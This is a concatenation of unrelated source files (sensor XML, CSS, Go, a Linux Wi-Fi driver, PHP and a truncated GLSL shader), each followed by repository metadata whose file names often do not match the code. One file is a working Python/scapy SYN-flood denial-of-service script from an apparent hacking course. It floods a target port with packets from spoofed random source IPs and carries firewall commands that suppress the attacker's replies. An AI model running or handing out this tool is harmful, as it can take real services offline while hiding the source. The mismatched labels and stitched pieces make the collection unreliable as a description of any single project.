<?xml version="1.0" encoding="utf-8"?>
<LWM2M  xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="http://openmobilealliance.org/tech/profiles/LWM2M.xsd">
    <Object ObjectType="MODefinition">
        <Name>Voltage</Name>
        <Description1>This IPSO object should be used with voltmeter sensor to report measured voltage between two points.  It also provides resources for minimum and maximum measured values, as well as the minimum and maximum range that can be measured by the sensor. An example measurement unit is volts (ucum: V).
        </Description1>
        <ObjectID>3316</ObjectID>
        <ObjectURN>urn:oma:lwm2m:ext:3316</ObjectURN>
        <MultipleInstances>Multiple</MultipleInstances>
        <Mandatory>Optional</Mandatory>
        <Resources>
            <Item ID="5700">
                <Name>Sensor Value</Name>
                <Operations>R</Operations>
                <MultipleInstances>Single</MultipleInstances>
                <Mandatory>Mandatory</Mandatory>
                <Type>Float</Type>
                <RangeEnumeration></RangeEnumeration>
                <Units>Defined by “Units” resource.</Units>
                <Description>Last or Current Measured Value from the Sensor</Description>
            </Item>
            <Item ID="5701">
                <Name>Sensor Units</Name>
                <Operations>R</Operations>
                <MultipleInstances>Single</MultipleInstances>
                <Mandatory>Optional</Mandatory>
                <Type>Float</Type>
                <RangeEnumeration></RangeEnumeration>
                <Units></Units>
                <Description>Measurement Units Definition e.g. “Cel” for Temperature in Celsius</Description>
            </Item>
            <Item ID="5601">
                <Name>Min Measured Value</Name>
                <Operations>R</Operations>
                <MultipleInstances>Single</MultipleInstances>
                <Mandatory>Optional</Mandatory>
                <Type>Float</Type>
                <RangeEnumeration></RangeEnumeration>
                <Units>Defined by “Units” resource.</Units>
                <Description>The minimum value measured by the sensor since power ON or reset</Description>
            </Item>
            <Item ID="5602">
                <Name>Max Measured Value</Name>
                <Operations>R</Operations>
                <MultipleInstances>Single</MultipleInstances>
                <Mandatory>Optional</Mandatory>
                <Type>Float</Type>
                <RangeEnumeration></RangeEnumeration>
                <Units>Defined by “Units” resource.</Units>
                <Description>The maximum value measured by the sensor since power ON or reset</Description>
            </Item>
            <Item ID="5603">
                <Name>Min Range Value</Name>
                <Operations>R</Operations>
                <MultipleInstances>Single</MultipleInstances>
                <Mandatory>Optional</Mandatory>
                <Type>Float</Type>
                <RangeEnumeration></RangeEnumeration>
                <Units>Defined by “Units” resource.</Units>
                <Description>The minimum value that can be measured by the sensor</Description>
            </Item>
            <Item ID="5604">
                <Name>Max Range Value</Name>
                <Operations>R</Operations>
                <MultipleInstances>Single</MultipleInstances>
                <Mandatory>Optional</Mandatory>
                <Type>Float</Type>
                <RangeEnumeration></RangeEnumeration>
                <Units>Defined by “Units” resource.</Units>
                <Description>The maximum value that can be measured by the sensor</Description>
            </Item>
            <Item ID="5605">
                <Name>Reset Min and Max Measured Values</Name>
                <Operations>E</Operations>
                <MultipleInstances>Single</MultipleInstances>
                <Mandatory>Optional</Mandatory>
                <Type>Opaque</Type>
                <RangeEnumeration></RangeEnumeration>
                <Units></Units>
                <Description>Reset the Min and Max Measured Values to Current Value</Description>
            </Item>
            <Item ID="5821">
                <Name>Current Calibration</Name>
                <Operations>RW</Operations>
                <MultipleInstances>Single</MultipleInstances>
                <Mandatory>Optional</Mandatory>
                <Type>String</Type>
                <RangeEnumeration></RangeEnumeration>
                <Units></Units>
                <Description>Read or Write the current calibration coefficient</Description>
            </Item>
            <Item ID="5750">
                <Name>Application Type</Name>
                <Operations>RW</Operations>
                <MultipleInstances>Single</MultipleInstances>
                <Mandatory>Optional</Mandatory>
                <Type>String</Type>
                <RangeEnumeration></RangeEnumeration>
                <Units></Units>
                <Description>The application type of the sensor or actuator as a string depending on the use case</Description>
            </Item>
        </Resources>
        <Description2></Description2>
    </Object>
</LWM2M>

{'repo_name': 'actorcloud/ActorCloud', 'stars': '106', 'repo_language': 'Vue', 'file_name': '__init__.py', 'mime_type': 'text/x-python', 'hash': -1670733481959272955, 'source_dataset': 'data'}


#!/usr/bin/python3.4
# -*- coding=utf-8 -*-
#本脚由亁颐堂现任明教教主编写，用于乾颐盾Python课程！
#教主QQ:605658506
#亁颐堂官网www.qytang.com
#乾颐盾是由亁颐堂现任明教教主开发的综合性安全课程
#包括传统网络安全（防火墙，IPS...）与Python语言和黑客渗透课程！

#firewall-cmd --direct --add-rule ipv4 filter OUTPUT 1 -p tcp --tcp-flags RST RST -s 202.100.1.139 -j DROP
#firewall-cmd --direct --add-rule ipv4 filter OUTPUT 1 -p icmp -s 202.100.1.139 -j DROP
import sys
sys.path.append('/usr/local/lib/python3.4/dist-packages/PyQYT/ExtentionPackages')
sys.path.append('/usr/lib/python3.4/site-packages/PyQYT/ExtentionPackages')
sys.path.append('../../ExtentionPackages')

import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)#清除报错
from scapy.all import *

def syn_dos(ip, port, random_enable=True):#定义方法，传入目标IP地址，目标端口号，是否激活随机伪装源IP地址
	if random_enable == True:#如果激活随机伪装源IP地址
		while True:#一直执行直到ctl+c停止程序
			source_port = random.randint(1024, 65535)#随机产生源端口
			init_sn = random.randint(1, 65535*63335)#随机产生初始化序列号
			yi_section = random.randint(1, 254)#随机产生，第一段IP地址
			er_section = random.randint(1, 254)#随机产生，第二段IP地址
			san_section = random.randint(1, 254)#随机产生，第三段IP地址
			si_section = random.randint(1, 254)#随机产生，第四段IP地址
			source_ip = str(yi_section)+'.'+str(er_section)+'.'+str(san_section)+'.'+str(si_section)#组合四段地址
			#发送SYN同步包（不必等待回应）#随机伪装源IP，随机产生源端口和初始化序列号
			send(IP(src=source_ip,dst=ip)/TCP(dport=port,sport=source_port,flags=2,seq=init_sn), verbose = False)
	else:#如果不激活随机伪装源IP地址
		while True:
			source_port = random.randint(1024, 65535)#随机产生源端口
			init_sn = random.randint(1, 65535*63335)#随机产生初始化序列号
			#发送SYN同步包（不必等待回应）#随机产生源端口和初始化序列号
			send(IP(dst=ip)/TCP(dport=port,sport=source_port,flags=2,seq=init_sn), verbose = False)

if __name__ == '__main__':
	import optparse#导入选项分析模块
	#配置帮助
	parser = optparse.OptionParser("程序使用方法介绍: -d <目标地址> -p <目标端口> -r <1:激活（默认） 2:不激活>")
	#选项‘-d’，指定目的IP地址
	parser.add_option('-d', dest = 'dst_ip', type = 'string', help = '指定目标地址')
	#选项‘-p’，指定目的端口号
	parser.add_option('-p', dest = 'dst_port', type = 'int', help = '指定目标端口')
	#选项‘-r’，是否激活随机伪装源IP地址
	parser.add_option('-r', dest = 'random', type = 'int', help = '是否激活随机IP')
	#分析参数，得到Options
	(options, args) = parser.parse_args()
	#如果没有指定目的IP，或者没有指定目的端口号，显示帮助信息给客户看！
	if (options.dst_ip == None) or (options.dst_port == None):
		print(parser.usage)
		exit(0)
	else:#如果客户指定了目的地址和目的端口号，为变量赋值！
		destination_ip = options.dst_ip
		destination_port = options.dst_port
	if options.random == 2:#如果客户不激活随机伪装源IP地址
		syn_dos(destination_ip, destination_port, random_enable = False)
	else:#客户激活随机伪装源IP地址
		syn_dos(destination_ip, destination_port, random_enable = True)

{'repo_name': 'collinsctk/PyQYT', 'stars': '108', 'repo_language': 'Python', 'file_name': 'NTP_Client_RAW.py', 'mime_type': 'text/x-python', 'hash': 5287928967912585616, 'source_dataset': 'data'}


.postext-spextraslider {
	margin-top: 10px;
}

.pretext-spextraslider {
	margin-bottom: 10px;
}

.yt-testimonial {
	position:relative;
}

.page-title-extraslider {
	color: #2E2C2D;
	text-transform: uppercase;
	font-size: 13px;
	font-weight: bold;
	overflow: hidden;
	width: 75%;
	margin: 10px 0 8px 0px;
}

.yt-testimonial a {
	text-decoration: none;
}

.yt-testimonial.preload {
	height: 250px;
	overflow: hidden;
	position: relative
}

.yt-testimonial .extra-loading {
	background: url('../images/loading.gif') no-repeat scroll center center transparent;
	height: 250px;
	width: 100%;
}

.yt-testimonial.preload .heading-title,
.yt-testimonial.preload .owl2-controls,
.yt-testimonial.preload .owl2-controls,
.yt-testimonial.preload .extraslider-inner {
	display: none !important;
}

.yt-testimonial .pre-text,
.yt-testimonial .post-text {
	margin: 10px 0;
}

.yt-testimonial .heading-title {
	text-transform: uppercase;
	font-weight: bold;
	float: left;
	margin-bottom: 10px;
}

.yt-testimonial .extraslider-inner {
	position: relative;
	overflow: hidden;
	width: 100%;
	padding-bottom: 8px;
}
.yt-testimonial .extraslider-inner .item-wrap .item-wrap-inner .item-info,.yt-testimonial .extraslider-inner .item-wrap .item-wrap-inner .item-img-info{
	text-align:center;
}
.column-2 .yt-testimonial .extraslider-inner .item-wrap .item-wrap-inner .item-info,
.column-2 .yt-testimonial .extraslider-inner .item-wrap .item-wrap-inner .item-img-info{
	width:50%;
	float:left;
}
.yt-testimonial .extraslider-inner .item-wrap .item-wrap-inner .item-info span.position{
	font-size:11px;
}
.yt-testimonial .extraslider-inner .item-wrap .item-wrap-inner .item-info .button-container button{
	background: #009ad0 linear-gradient(to bottom, #009ad0 0%, #007ab7 100%) repeat-x scroll 0 0;
	border: none;
	padding: 10px 14px;
	border: 1px solid #06b2e6;
}
.yt-testimonial .extraslider-inner .item-wrap .item-wrap-inner .item-info .button-container button:hover{
	background: #0084bf none repeat scroll 0 0 ;
}
.yt-testimonial .item {
	position: relative;
	display: block;
}

.yt-testimonial .owl2-item {
	float: left;
}

.yt-testimonial .extraslider-inner .item-wrap {
	position: relative;
	overflow: hidden;
}

.yt-testimonial .extraslider-inner .item-wrap .item-info .item-content {
	margin-left: 10px;
}

.yt-testimonial .extraslider-inner .item-wrap .item-info,
.yt-testimonial .extraslider-inner .item-wrap .item-info .item-content {
	overflow: hidden;
}

.yt-testimonial .extraslider-inner .item-wrap.style1 .item-info {
	color: #FFF;
	position: absolute;
	background: url(../images/background.png) repeat;
	bottom: 0;
	left: 0;
}

.yt-testimonial .extraslider-inner .item-wrap .item-info a {
	color: #FFF;
}

.yt-testimonial .extraslider-inner .item-wrap .item-info a:hover {
	color: #DDD;
}

.yt-testimonial .extraslider-inner .item-wrap.style2 .item-info {
	background: #333333;
	color: #FFF;
	position: relative;
}

.yt-testimonial .extraslider-inner .item-wrap-inner {
	margin: 8px 5px 0 5px;
	padding: 0 1px;
	position: relative;
	overflow: hidden;
}

.yt-testimonial .extraslider-inner .item-wrap-inner a.new-box {
	left: -4px;
	z-index: 2;
}

.yt-testimonial .extraslider-inner .item-wrap-inner a.sale-box {
	right: -4px;
	z-index: 2;
}

.yt-testimonial .extraslider-inner .item-wrap.last {
	margin-right: 0px;
	padding-right: 0px;
}

.yt-testimonial .extraslider-inner {
	clear: both;
}

.yt-testimonial .extraslider-inner .item-wrap img {
	border: none;
	box-shadow: #000 0em 0em 0em;
}

.yt-testimonial .extraslider-inner .item-wrap img:hover {
	box-shadow: #000 0em 0em 0em;
}

.yt-testimonial .item .item-wrap .item-description {
	margin-bottom: 0;
}

.yt-testimonial .item .item-wrap .item-prices {
	padding: 0px;
	margin-bottom: 10px;
}

.yt-testimonial .item .item-wrap .item-prices .item-price {
	color: #FF0000;
	font-weight: bold;
	font-family: Georgia;
	margin-right: 3px;
}

.yt-testimonial .item .item-wrap .item-per-unit {
	color: white;
}

.yt-testimonial .item .item-wrap .item-tags {
	margin-bottom: 5px;
}

.yt-testimonial .item .item-wrap .item-votes {
	padding-left: 10px;
}

.yt-testimonial .item .item-wrap.style3 .item-votes .hikashop_total_vote {
	color: #FFF;
}

.yt-testimonial .item .item-wrap.style5 .item-votes .hikashop_total_vote {
	color: #FFF;
}

.yt-testimonial .item .item-wrap.style6 .item-votes .hikashop_total_vote {
	color: #FFF;
}

.yt-testimonial .item .item-wrap.style7 .item-votes .hikashop_total_vote {
	color: #FFF;
}

.yt-testimonial .item .item-wrap.style4 .item-prices .item-per-unit {
	color: #000000;
}

.yt-testimonial .item .item-wrap .item-btn-add {
	margin-bottom: 5px;
}

.yt-testimonial .item .item-wrap .item-btn-add form {
	margin: 0;
}

.yt-testimonial .item .item-wrap .item-btn-add .hikashop_add_to_cart {
	display: inline-block;
	margin: 5px 5px 5px 0px;
}

.yt-testimonial .item .item-wrap .item-btn-add .hikashop_add_wishlist {
	display: inline-block;
	margin: 5px 5px 5px 0px;
}

.yt-testimonial .item .item-wrap .item-readmore {
	margin-top: 10px;
}

.yt-testimonial .item .item-wrap .item-related {
	text-align: left;
	color: #FFF;
}

.yt-testimonial .item .item-wrap .item-related h4 {
	margin: 5px 0;
	color: #FFF;
}

.yt-testimonial .item .item-wrap .item-related ul {
	text-align: left;
	margin: 0 10px 0 13px;
	color: #FFF;
}

.yt-testimonial .item .item-wrap .item-tags span {
	color: #FFFFFF;
}

.yt-testimonial .item .item-wrap .item-tags .tags span a {
	display: inline-block;
}

.yt-testimonial .item .item-wrap .item-readmore {
	text-align: right;
}

.yt-testimonial .owl2-controls .nav-page {
	list-style: none;
	margin: 0px;
	float: left;
	padding-left: 0;
}

.yt-testimonial .owl2-controls .nav-page .page {
	float: left;
	background: none;
	padding: 0;
	outline: none;
}

.yt-testimonial .extraslider-inner .owl2-wrapper-outer {
	overflow: hidden;
	position: relative;
	width: 100%;
}

.yt-testimonial .extraslider-inner .owl2-wrapper {
	-webkit-backface-visibility: hidden;
	-moz-backface-visibility: hidden;
	-ms-backface-visibility: hidden;
	-webkit-transform: translate3d(0, 0, 0);
	-moz-transform: translate3d(0, 0, 0);
	-ms-transform: translate3d(0, 0, 0);
	position: relative;

}

.yt-testimonial .extraslider-inner .owl2-wrapper:after {
	content: ".";
	display: block;
	clear: both;
	visibility: hidden;
	line-height: 0;
	height: 0;
}

.yt-testimonial .owl2-controls {
	text-align: right;
	float: right;
	vertical-align: middle;
	display: inline;
}

.yt-testimonial .owl2-controls .owl2-controls {
	float: left;
	margin: 0;
}

.yt-testimonial .owl2-controls .owl2-prev,
.yt-testimonial .owl2-controls .owl2-next {
	float: left;
	outline: none;
	font-size: 22px;
	line-height: 18px;
	color: #797575;
	cursor: pointer;
	filter: Alpha(Opacity=50);
	opacity: 0.5;
	font-family: Arial;
	height: 20px;
	vertical-align: middle;
}

.yt-testimonial .owl2-controls .owl2-dots .owl2-dot {
	display: inline-block;
	zoom: 1;
}

.yt-testimonial .owl2-dots .owl2-dot span{
	display: block;
	width: 12px;
	height: 12px;
	margin: 4px;
	filter: Alpha(Opacity=50);
	opacity: 0.5;
	-webkit-border-radius: 20px;
	-moz-border-radius: 20px;
	border-radius: 20px;
	background: #797575;
	cursor: pointer;
	vertical-align: middle;
}

.yt-testimonial .owl2-dots .owl2-dot:hover {
	filter: Alpha(Opacity=100);
	opacity: 1;
	background: #77f9f1;
}

.yt-testimonial.button-type2 .owl2-controls{
	width: 100%;
}

.yt-testimonial.button-type2 .owl2-nav{
	float: left;
	text-align: right;
	z-index:2;
}

.yt-testimonial.button-type1 .owl2-dots{
	float: left;
}

.yt-testimonial.button-type2 .owl2-dots{
	text-align: center;
	margin-top: 10px;
	display: block;
}

.yt-testimonial .owl2-dots .owl2-dot span.active {
	filter: Alpha(Opacity=100);
	opacity: 1;
	background: #77f9f1;
}

.yt-testimonial .owl2-dots .owl2-dot:focus,
.yt-testimonial .owl2-nav .owl2-prev:focus,
.yt-testimonial .owl2-nav .owl2-next:focus {
	outline: none;
}

.yt-testimonial.button-type2  .owl2-dots {
	text-align: center;
	margin-top: 10px;
	display: block;
}

.yt-testimonial.button-type2 .owl2-prev,
.yt-testimonial.button-type2 .owl2-next {
	cursor: pointer;
	float: left;
	line-height: 18px;
	outline: medium none;
	text-align: center;
	vertical-align: middle;
	width: 13px;
	height:31px;
	position:absolute;
	top:50%;
	transform: translateY(-50%);
    -moz-transform: translateY(-50%);
    -webkit-transform: translateY(-50%);
	z-index:2;
}
.background .yt-testimonial.button-type2 .owl2-prev,
.background .yt-testimonial.button-type2 .owl2-next{
	top:35%;
}
.background .yt-testimonial.button-type2 .owl2-prev{
	left:35%;
}
.background .yt-testimonial.button-type2 .owl2-next{
	right:35%;
}
.yt-testimonial.button-type2 .owl2-prev{
	left:0%;
	background:url('images/bg-prev.png');
}
.yt-testimonial.button-type2 .owl2-next{
	right:0%;
	background:url('images/bg-next.png');
}
.yt-testimonial .owl2-controls .owl2-prev:hover,
.yt-testimonial .owl2-controls .owl2-next:hover {
	color: #77f9f1;
	filter: Alpha(Opacity=100);
	opacity: 1;
}

/*css Media*/
@media all and (max-width: 479px) {
	.yt-testimonial .extraslider-inner .item-wrap .item-image .quick-view-wrapper-mobile {
		display: block;
	}

	.yt-testimonial.preset04-6 .extraslider-inner .item-wrap.style1 .item-info {
		max-height: 200px;
	}

}

@media all and (min-width: 480px) and (max-width: 767px) {
	.yt-testimonial .extraslider-inner .item-wrap .item-image .quick-view-wrapper-mobile {
		display: block;
	}

	.yt-testimonial.preset03-6 .extraslider-inner .item-wrap.style1 .item-info {
		max-height: 200px;
	}
}

@media all and (min-width: 768px) and (max-width: 991px) {
	.yt-testimonial .extraslider-inner .item-wrap .item-image .quick-view-wrapper-mobile {
		display: none;
	}

	.yt-testimonial.preset02-6 .extraslider-inner .item-wrap.style1 .item-info {
		max-height: 200px;
	}

}

@media all and (min-width: 992px) and (max-width: 1199px) {
	.yt-testimonial .extraslider-inner .item-wrap .item-image .quick-view-wrapper-mobile {
		display: none;
	}

	.yt-testimonial.preset01-6 .extraslider-inner .item-wrap.style1 .item-info {
		max-height: 200px;
	}

}

@media all and (min-width: 1200px) {
	.yt-testimonial .extraslider-inner .item-wrap .item-image .quick-view-wrapper-mobile {
		display: none;
	}

	.yt-testimonial.preset00-6 .extraslider-inner .item-wrap.style1 .item-info {
		max-height: 200px;
	}
}

.lang_ar .owl2-controls{
	float: left;
}

.lang_ar .owl2-controls .owl2-next{
	right: 0;
	direction: ltr !important;
}

.lang_ar .owl2-controls .owl2-prev {
	right: 20px;
	float: left;
	direction: ltr !important;
}

.lang_ar .owl2-carousel2 .owl2-stage {
	float: left;
}

.lang_ar .yt-testimonial .extraslider-inner .item-wrap .item-info .item-content {
	margin-left: 0;
	margin-right: 10px;
}

.lang_ar .yt-testimonial.button-type2 .owl2-prev,
.yt-testimonial.button-type2 .owl2-next {
	direction: ltr !important;
}

{'repo_name': 'mycncart/mycncart', 'stars': '248', 'repo_language': 'PHP', 'file_name': 'theme.php', 'mime_type': 'text/x-php', 'hash': 7799186113376211416, 'source_dataset': 'data'}


package main

import (
	"database/sql"
	"flag"
	"fmt"
	"log"

	"github.com/GuiaBolso/darwin"
	_ "github.com/mattn/go-sqlite3"
)

var (
	migrations = []darwin.Migration{
		{
			Version:     1,
			Description: "Creating table posts",
			Script: `CREATE TABLE posts (
						id INTEGER PRIMARY KEY,
						title 		TEXT
					 );;`,
		},
		{
			Version:     2,
			Description: "Adding column body",
			Script:      "ALTER TABLE posts ADD body TEXT AFTER title;",
		},
	}
)

func main() {
	var info bool

	flag.BoolVar(&info, "info", false, "If you want get info from database")
	flag.Parse()

	database, err := sql.Open("sqlite3", "database.sqlite3")

	if err != nil {
		log.Fatal(err)
	}

	driver := darwin.NewGenericDriver(database, darwin.SqliteDialect{})

	d := darwin.New(driver, migrations, nil)

	if info {
		infos, _ := d.Info()
		for _, info := range infos {
			fmt.Printf("%.1f %s %s\n", info.Migration.Version, info.Status, info.Migration.Description)
		}
	} else {
		err = d.Migrate()

		if err != nil {
			log.Println(err)
		}
	}
}

{'repo_name': 'GuiaBolso/darwin', 'stars': '104', 'repo_language': 'Go', 'file_name': 'main.go', 'mime_type': 'text/x-c', 'hash': 1146288563062758751, 'source_dataset': 'data'}


// SPDX-License-Identifier: ISC
/*
 * Copyright (C) 2016 Felix Fietkau <nbd@nbd.name>
 */

#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/pci.h>

#include "mt76x2.h"

static const struct pci_device_id mt76pci_device_table[] = {
	{ PCI_DEVICE(0x14c3, 0x7662) },
	{ PCI_DEVICE(0x14c3, 0x7612) },
	{ PCI_DEVICE(0x14c3, 0x7602) },
	{ },
};

static int
mt76pci_probe(struct pci_dev *pdev, const struct pci_device_id *id)
{
	static const struct mt76_driver_ops drv_ops = {
		.txwi_size = sizeof(struct mt76x02_txwi),
		.drv_flags = MT_DRV_TX_ALIGNED4_SKBS |
			     MT_DRV_SW_RX_AIRTIME,
		.survey_flags = SURVEY_INFO_TIME_TX,
		.update_survey = mt76x02_update_channel,
		.tx_prepare_skb = mt76x02_tx_prepare_skb,
		.tx_complete_skb = mt76x02_tx_complete_skb,
		.rx_skb = mt76x02_queue_rx_skb,
		.rx_poll_complete = mt76x02_rx_poll_complete,
		.sta_ps = mt76x02_sta_ps,
		.sta_add = mt76x02_sta_add,
		.sta_remove = mt76x02_sta_remove,
	};
	struct mt76x02_dev *dev;
	struct mt76_dev *mdev;
	int ret;

	ret = pcim_enable_device(pdev);
	if (ret)
		return ret;

	ret = pcim_iomap_regions(pdev, BIT(0), pci_name(pdev));
	if (ret)
		return ret;

	pci_set_master(pdev);

	ret = pci_set_dma_mask(pdev, DMA_BIT_MASK(32));
	if (ret)
		return ret;

	mdev = mt76_alloc_device(&pdev->dev, sizeof(*dev), &mt76x2_ops,
				 &drv_ops);
	if (!mdev)
		return -ENOMEM;

	dev = container_of(mdev, struct mt76x02_dev, mt76);
	mt76_mmio_init(mdev, pcim_iomap_table(pdev)[0]);
	mt76x2_reset_wlan(dev, false);

	mdev->rev = mt76_rr(dev, MT_ASIC_VERSION);
	dev_info(mdev->dev, "ASIC revision: %08x\n", mdev->rev);

	ret = devm_request_irq(mdev->dev, pdev->irq, mt76x02_irq_handler,
			       IRQF_SHARED, KBUILD_MODNAME, dev);
	if (ret)
		goto error;

	ret = mt76x2_register_device(dev);
	if (ret)
		goto error;

	/* Fix up ASPM configuration */

	/* RG_SSUSB_G1_CDR_BIR_LTR = 0x9 */
	mt76_rmw_field(dev, 0x15a10, 0x1f << 16, 0x9);

	/* RG_SSUSB_G1_CDR_BIC_LTR = 0xf */
	mt76_rmw_field(dev, 0x15a0c, 0xf << 28, 0xf);

	/* RG_SSUSB_CDR_BR_PE1D = 0x3 */
	mt76_rmw_field(dev, 0x15c58, 0x3 << 6, 0x3);

	mt76_pci_disable_aspm(pdev);

	return 0;

error:
	ieee80211_free_hw(mt76_hw(dev));
	return ret;
}

static void
mt76pci_remove(struct pci_dev *pdev)
{
	struct mt76_dev *mdev = pci_get_drvdata(pdev);
	struct mt76x02_dev *dev = container_of(mdev, struct mt76x02_dev, mt76);

	mt76_unregister_device(mdev);
	mt76x2_cleanup(dev);
	mt76_free_device(mdev);
}

MODULE_DEVICE_TABLE(pci, mt76pci_device_table);
MODULE_FIRMWARE(MT7662_FIRMWARE);
MODULE_FIRMWARE(MT7662_ROM_PATCH);
MODULE_LICENSE("Dual BSD/GPL");

static struct pci_driver mt76pci_driver = {
	.name		= KBUILD_MODNAME,
	.id_table	= mt76pci_device_table,
	.probe		= mt76pci_probe,
	.remove		= mt76pci_remove,
};

module_pci_driver(mt76pci_driver);

{'repo_name': '150balbes/Amlogic_s905-kernel', 'stars': '124', 'repo_language': 'C', 'file_name': 'stf.c', 'mime_type': 'text/x-c', 'hash': -2134650584025914366, 'source_dataset': 'data'}


<?php

/**
 * Zend Framework
 *
 * LICENSE
 *
 * This source file is subject to the new BSD license that is bundled
 * with this package in the file LICENSE.txt.
 * It is also available through the world-wide-web at this URL:
 * http://framework.zend.com/license/new-bsd
 * If you did not receive a copy of the license and are unable to
 * obtain it through the world-wide-web, please send an email
 * to license@zend.com so we can send you a copy immediately.
 *
 * @category   Zend
 * @package    Zend_Gdata
 * @subpackage YouTube
 * @copyright  Copyright (c) 2005-2011 Zend Technologies USA Inc. (http://www.zend.com)
 * @license    http://framework.zend.com/license/new-bsd     New BSD License
 * @version    $Id: Location.php 23775 2011-03-01 17:25:24Z ralph $
 */

/**
 * @see Zend_Gdata_Extension
 */
require_once 'Zend/Gdata/Extension.php';

/**
 * Represents the yt:location element
 *
 * @category   Zend
 * @package    Zend_Gdata
 * @subpackage YouTube
 * @copyright  Copyright (c) 2005-2011 Zend Technologies USA Inc. (http://www.zend.com)
 * @license    http://framework.zend.com/license/new-bsd     New BSD License
 */
class Zend_Gdata_YouTube_Extension_Location extends Zend_Gdata_Extension
{

    protected $_rootElement = 'location';
    protected $_rootNamespace = 'yt';

    public function __construct($text = null)
    {
        $this->registerAllNamespaces(Zend_Gdata_YouTube::$namespaces);
        parent::__construct();
        $this->_text = $text;
    }

}

{'repo_name': 'sapplica/sentrifugo', 'stars': '352', 'repo_language': 'PHP', 'file_name': 'EasyPeasyICS.php', 'mime_type': 'text/x-php', 'hash': -7215819318399501894, 'source_dataset': 'data'}


#version 130
// Compatibility #ifdefs needed for parameters
#ifdef GL_ES
#define COMPAT_PRECISION mediump
#else
#define COMPAT_PRECISION
#endif

// Parameter lines go here:
#pragma parameter RETRO_PIXEL_SIZE "Retro Pixel Size" 0.84 0.0 1.0 0.01
#ifdef PARAMETER_UNIFORM
// All parameter floats need to have COMPAT_PRECISION in front of them
uniform COMPAT_PRECISION float RETRO_PIXEL_SIZE;
#else
#define RETRO_PIXEL_SIZE 0.84
#endif

#if defined(VERTEX)

#if __VERSION__ >= 130
#define COMPAT_VARYING out
#define COMPAT_ATTRIBUTE in
#define COMPAT_TEXTURE texture
#else
#define COMPAT_VARYING varying
#define COMPAT_ATTRIBUTE attribute
#define COMPAT_TEXTURE texture2D
#endif

#ifdef GL_ES
#define COMPAT_PRECISION mediump
#else
#define COMPAT_PRECISION
#endif

COMPAT_ATTRIBUTE vec4 VertexCoord;
COMPAT_ATTRIBUTE vec4 COLOR;
COMPAT_ATTRIBUTE vec4 TexCoord;
COMPAT_VARYING vec4 COL0;
COMPAT_VARYING vec4 TEX0;
// out variables go here as COMPAT_VARYING whatever

vec4 _oPosition1;
uniform mat4 MVPMatrix;
uniform COMPAT_PRECISION int FrameDirection;
uniform COMPAT_PRECISION int FrameCount;
uniform COMPAT_PRECISION vec2 OutputSize;
uniform COMPAT_PRECISION vec2 TextureSize;
uniform COMPAT_PRECISION vec2 InputSize;

// compatibility #defines
#define vTexCoord TEX0.xy
#define SourceSize vec4(TextureSize, 1.0 / TextureSize) //either TextureSize or InputSize
#define OutSize vec4(OutputSize, 1.0 / OutputSize)

void main()
{
    gl_Position = MVPMatrix * VertexCoord;
    TEX0.xy = VertexCoord.xy;
// Paste vertex contents here:
}

#elif defined(FRAGMENT)

#if __VERSION__ >= 130
#define COMPAT_VARYING in
#define COMPAT_TEXTURE texture
out vec4 FragColor;
#else
#define COMPAT_VARYING varying
#define FragColor gl_FragColor
#define COMPAT_TEXTURE texture2D
#endif

#ifdef GL_ES
#ifdef GL_FRAGMENT_PRECISION_HIGH
precision highp float;
#else
precision mediump float;
#endif
#define COMPAT_PRECISION mediump
#else
#define COMPAT_PRECISION
#endif

uniform COMPAT_PRECISION int FrameDirection;
uniform COMPAT_PRECISION int FrameCount;
uniform COMPAT_PRECISION vec2 OutputSize;
uniform COMPAT_PRECISION vec2 TextureSize;
uniform COMPAT_PRECISION vec2 InputSize;
uniform sampler2D Texture;
uniform sampler2D iChannel1;
vec2 iChannelResolution = vec2(64.0, 64.0);
COMPAT_VARYING vec4 TEX0;
// in variables go here as COMPAT_VARYING whatever

// compatibility #defines
#define Source Texture
#define vTexCoord TEX0.xy

#define SourceSize vec4(TextureSize, 1.0 / TextureSize) //either TextureSize or InputSize
#define OutSize vec4(OutputSize, 1.0 / OutputSize)

// delete all 'params.' or 'registers.' or whatever in the fragment
float iGlobalTime = float(FrameCount)*0.025;
vec2 iResolution = OutputSize.xy;

// "Space Racing Lite"

// Distance function and initial design for space car is by eiffie:
// https://www.shadertoy.com/view/ldjGRh
// the rest is by me but he also helped to optimize the code.

// I removed some features by default because the original was crashing the Shadertoy browser
// for win7 users - try commenting this lines to see if the full version compiles for you:

//#define LOW_QUALITY // No reflections, no shadows, no planet, reduced ray steps & detail
//#define NO_HUD

#define LOOP_BREAKS // Could speed up, speed down, or just make your browser crash!

#ifdef LOW_QUALITY
	#define RAY_STEPS 65
	#define SHADOW_STEPS 0
	#define ITERATIONS 5
	#define MAX_DIST 30.
#else
	#define RAY_STEPS 75
	#define SHADOW_STEPS 40
	#define ITERATIONS 6
	#define MAX_DIST 35.
#endif
#define LIGHT_COLOR vec3(1.,.85,.6)
#define AMBIENT_COLOR vec3(.7,.85,1.)
#define SUN_COLOR vec3(1.,.8,.5)
#define TUBE_COLOR vec3(1.,.6,.25)*1.2
#define CAR_COLOR vec3(.4,.7,1.)
#define TURBINES_COLOR vec3(.6,.75,1.)
#define HUD_COLOR vec3(0.6,1.,0.3)
#define PLANET_COLOR vec3(101., 153., 189.)/256.

#define CAR_SCALE 4.
#define SPECULAR 0.4
#define DIFFUSE  2.0
#define AMBIENT  0.4

#define BRIGHTNESS .9
#define GAMMA 1.1
#define SATURATION .85

#define DETAIL .004
#define SPEED 8.
#define t (mod(iGlobalTime,500.)+10.)*SPEED

#define LIGHTDIR normalize(vec3(0.6,-0.2,-1.))

// ------------------------------------------------------------------
//    Global Variables
// ------------------------------------------------------------------

float FOLD=2.; // controls fractal fold and track width
const vec3 planetpos=vec3(-3.5,1.,-5.); // planet position
const vec2 tubepos=vec2(0.35,0.); // light tubes pos relative to FOLD
mat2 trmx;//the turbine spinner
float det=0.; // detail level (varies with distance)
float backcam; // back cam flag
vec3 carpos; // car position
vec3 carvec; // car pointing vector
mat3 carrot; // car rotation
float hitcar; // ray-car hit flag
mat2 fractrot; // rot mat for fractal (set in main)
mat2 cartilt; // secondary car rotation
float minT, minL; // min distance traps for glows of tube and turbines
float ref; // reflection flag
float tubeinterval; // tube tiling (for glow and lighting)

// ------------------------------------------------------------------
//    General functions
// ------------------------------------------------------------------

mat2 rot(float a) {
	return mat2(cos(a),sin(a),-sin(a),cos(a));
}

mat3 lookat(vec3 fw,vec3 up){
